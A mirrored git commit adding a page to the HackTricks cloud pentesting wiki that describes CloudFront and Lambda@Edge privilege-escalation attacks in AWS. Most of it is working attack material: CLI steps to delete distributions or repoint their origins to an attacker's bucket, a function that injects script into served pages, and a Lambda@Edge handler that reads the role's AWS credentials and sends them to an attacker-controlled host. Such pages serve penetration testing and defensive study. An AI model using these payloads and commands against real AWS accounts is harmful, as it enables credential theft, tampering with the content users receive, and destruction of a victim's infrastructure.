mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-05 20:40:18 -08:00
cloudfront
This commit is contained in:
@@ -302,6 +302,7 @@
|
||||
- [AWS - Apigateway Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md)
|
||||
- [AWS - AppRunner Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md)
|
||||
- [AWS - Chime Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md)
|
||||
- [AWS - CloudFront](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudfront-privesc/README.md)
|
||||
- [AWS - Codebuild Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md)
|
||||
- [AWS - Codepipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md)
|
||||
- [AWS - Codestar Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md)
|
||||
|
||||
@@ -10,6 +10,17 @@ For more information check:
|
||||
../../aws-services/aws-cloudfront-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `cloudfront:Delete*`
|
||||
An attacker granted cloudfront:Delete* can delete distributions, policies and other critical CDN configuration objects — for example distributions, cache/origin policies, key groups, origin access identities, functions/configs, and related resources. This can cause service disruption, content loss, and removal of configuration or forensic artifacts.
|
||||
|
||||
To delete a distribution an attacker could use:
|
||||
|
||||
```bash
|
||||
aws cloudfront delete-distribution \
|
||||
--id <DISTRIBUTION_ID> \
|
||||
--if-match <ETAG>
|
||||
```
|
||||
|
||||
### Man-in-the-Middle
|
||||
|
||||
This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) proposes a couple of different scenarios where a **Lambda** could be added (or modified if it's already being used) into a **communication through CloudFront** with the purpose of **stealing** user information (like the session **cookie**) and **modifying** the **response** (injecting a malicious JS script).
|
||||
|
||||
@@ -0,0 +1,225 @@
|
||||
# AWS - CloudFront Privesc
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CloudFront
|
||||
|
||||
### `cloudfront:UpdateDistribution` & `cloudfront:GetDistributionConfig`
|
||||
|
||||
An attacker who has cloudfront:UpdateDistribution and cloudfront:GetDistributionConfig permissions can modify a CloudFront distribution’s configuration. They don’t need permissions on the target S3 bucket itself, although the attack is easier if that bucket has a permissive policy that allows access from the cloudfront.amazonaws.com service principal.
|
||||
|
||||
The attacker changes a distribution’s origin configuration to point to another S3 bucket or to a server controlled by the attacker. First they fetch the current distribution configuration:
|
||||
|
||||
```bash
|
||||
aws cloudfront get-distribution-config --id <distribution-id> | jq '.DistributionConfig' > current-config.json
|
||||
```
|
||||
|
||||
Then they edit current-config.json to point the origin to the new resource — for example, a different S3 bucket:
|
||||
|
||||
```bash
|
||||
...
|
||||
"Origins": {
|
||||
"Quantity": 1,
|
||||
"Items": [
|
||||
{
|
||||
"Id": "<origin-id>",
|
||||
"DomainName": "<new-bucket>.s3.us-east-1.amazonaws.com",
|
||||
"OriginPath": "",
|
||||
"CustomHeaders": {
|
||||
"Quantity": 0
|
||||
},
|
||||
"S3OriginConfig": {
|
||||
"OriginAccessIdentity": "",
|
||||
"OriginReadTimeout": 30
|
||||
},
|
||||
"ConnectionAttempts": 3,
|
||||
"ConnectionTimeout": 10,
|
||||
"OriginShield": {
|
||||
"Enabled": false
|
||||
},
|
||||
"OriginAccessControlId": "E30N32Y4IBZ971"
|
||||
}
|
||||
]
|
||||
},
|
||||
...
|
||||
```
|
||||
|
||||
Finally, apply the modified configuration (you must supply the current ETag when updating):
|
||||
|
||||
```bash
|
||||
CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)
|
||||
|
||||
aws cloudfront update-distribution \
|
||||
--id <distribution-id> \
|
||||
--distribution-config file://current-config.json \
|
||||
--if-match $CURRENT_ETAG
|
||||
```
|
||||
|
||||
### `cloudfront:UpdateFunction`, `cloudfront:PublishFunction`, `cloudfront:GetFunction`, `cloudfront:CreateFunction` and `cloudfront:AssociateFunction`
|
||||
An attacker needs the permissions cloudfront:UpdateFunction, cloudfront:PublishFunction, cloudfront:GetFunction, cloudfront:CreateFunction and cloudfront:AssociateFunction to manipulate or create CloudFront functions.
|
||||
|
||||
The attacker creates a malicious CloudFront Function that injects JavaScript into HTML responses:
|
||||
|
||||
```bash
|
||||
function handler(event) {
|
||||
var request = event.request;
|
||||
var response = event.response;
|
||||
// Create a new body with malicious JavaScript
|
||||
var maliciousBody = `
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Compromised Page</title>
|
||||
</head>
|
||||
<body>
|
||||
<h1>Original Content</h1>
|
||||
<p>This page has been modified by CloudFront Functions</p>
|
||||
<script>
|
||||
// Malicious JavaScript
|
||||
alert('CloudFront Function Code Injection Successful!');
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
`;
|
||||
// Replace the body entirely
|
||||
response.body = { encoding: "text", data: maliciousBody };
|
||||
// Update headers
|
||||
response.headers["content-type"] = { value: "text/html; charset=utf-8" };
|
||||
response.headers["content-length"] = {
|
||||
value: maliciousBody.length.toString(),
|
||||
};
|
||||
response.headers["x-cloudfront-function"] = { value: "malicious-injection" };
|
||||
return response;
|
||||
}
|
||||
```
|
||||
|
||||
Commands to create, publish and attach the function:
|
||||
|
||||
```bash
|
||||
# Create the malicious function in CloudFront
|
||||
aws cloudfront create-function --name malicious-function --function-config '{
|
||||
"Comment": "Malicious CloudFront Function for Code Injection",
|
||||
"Runtime": "cloudfront-js-1.0"
|
||||
}' --function-code fileb://malicious-function.js
|
||||
|
||||
# Get the ETag of the function in DEVELOPMENT stage
|
||||
aws cloudfront describe-function --name malicious-function --stage DEVELOPMENT --query 'ETag' --output text
|
||||
|
||||
# Publish the function to LIVE stage
|
||||
aws cloudfront publish-function --name malicious-function --if-match <etag>
|
||||
```
|
||||
|
||||
Add the function to the distribution configuration (FunctionAssociations):
|
||||
|
||||
```bash
|
||||
"FunctionAssociations": {
|
||||
"Quantity": 1,
|
||||
"Items": [
|
||||
{
|
||||
"FunctionARN": "arn:aws:cloudfront::<account-id>:function/malicious-function",
|
||||
"EventType": "viewer-response"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
Finally update the distribution configuration (remember to supply the current ETag):
|
||||
|
||||
```bash
|
||||
CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)
|
||||
|
||||
aws cloudfront update-distribution --id <distribution-id> --distribution-config file://current-config.json --if-match $CURRENT_ETAG
|
||||
```
|
||||
|
||||
### `lambda:CreateFunction`, `lambda:UpdateFunctionCode`, `lambda:PublishVersion`, `iam:PassRole` & `cloudfront:UpdateDistribution`
|
||||
|
||||
An attacker needs the lambda:CreateFunction, lambda:UpdateFunctionCode, lambda:PublishVersion, iam:PassRole and cloudfront:UpdateDistribution permissions to create and associate malicious Lambda@Edge functions. A role that can be assumed by the lambda.amazonaws.com and edgelambda.amazonaws.com service principals is also required.
|
||||
|
||||
The attacker creates a malicious Lambda@Edge function that steals the IAM role credentials:
|
||||
|
||||
```bash
|
||||
// malicious-lambda-edge.js
|
||||
exports.handler = async (event) => {
|
||||
// Obtain role credentials
|
||||
const credentials = {
|
||||
accessKeyId: process.env.AWS_ACCESS_KEY_ID,
|
||||
secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY,
|
||||
sessionToken: process.env.AWS_SESSION_TOKEN,
|
||||
};
|
||||
// Send credentials to attacker's server
|
||||
try {
|
||||
await fetch("https://<attacker-ip>/steal-credentials", {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify(credentials)
|
||||
});
|
||||
} catch (error) {
|
||||
console.error("Error sending credentials:", error);
|
||||
}
|
||||
if (event.Records && event.Records[0] && event.Records[0].cf) {
|
||||
// Modify response headers
|
||||
const response = event.Records[0].cf.response;
|
||||
response.headers["x-credential-theft"] = [
|
||||
{
|
||||
key: "X-Credential-Theft",
|
||||
value: "Successful",
|
||||
},
|
||||
];
|
||||
return response;
|
||||
}
|
||||
return {
|
||||
statusCode: 200,
|
||||
body: JSON.stringify({ message: "Credentials stolen" })
|
||||
};
|
||||
};
|
||||
```
|
||||
|
||||
```bash
|
||||
# Package the Lambda@Edge function
|
||||
zip malicious-lambda-edge.zip malicious-lambda-edge.js
|
||||
|
||||
# Create the Lambda@Edge function with a privileged role
|
||||
aws lambda create-function \
|
||||
--function-name malicious-lambda-edge \
|
||||
--runtime nodejs18.x \
|
||||
--role <privileged-role-arn> \
|
||||
--handler malicious-lambda-edge.handler \
|
||||
--zip-file fileb://malicious-lambda-edge.zip \
|
||||
--region <region>
|
||||
|
||||
# Publish a version of the function
|
||||
aws lambda publish-version --function-name malicious-lambda-edge --region <region>
|
||||
```
|
||||
|
||||
Then the attacker updates the CloudFront distribution configuration to reference the published Lambda@Edge version:
|
||||
|
||||
```bash
|
||||
"LambdaFunctionAssociations": {
|
||||
"Quantity": 1,
|
||||
"Items": [
|
||||
{
|
||||
"LambdaFunctionARN": "arn:aws:lambda:us-east-1:<account-id>:function:malicious-lambda-edge:1",
|
||||
"EventType": "viewer-response",
|
||||
"IncludeBody": false
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
```bash
|
||||
# Apply the updated distribution config (must use current ETag)
|
||||
CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)
|
||||
|
||||
aws cloudfront update-distribution \
|
||||
--id <distribution-id> \
|
||||
--distribution-config file://current-config.json \
|
||||
--if-match $CURRENT_ETAG
|
||||
|
||||
# Trigger the function by requesting the distribution
|
||||
curl -v https://<distribution-domain>.cloudfront.net/
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user